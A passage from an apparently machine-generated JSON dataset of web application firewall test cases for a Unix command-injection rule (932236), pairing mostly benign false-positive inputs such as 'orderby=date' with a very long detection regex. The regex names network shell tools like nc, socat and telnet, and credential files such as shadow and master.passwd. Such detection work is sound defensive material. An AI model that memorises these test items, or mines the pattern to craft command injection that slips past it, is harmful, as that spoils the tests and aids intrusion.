\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "false positive with Nextcloud Mail widget.\nShould not match `mail`.\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "orderby=date" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?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b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "False positive with WordPress ordering posts by date.\nShould not match `date`.\nMake sure there is no trailing whitespace at the end, only date with no arguments is excluded\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=shutdown\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\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[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?: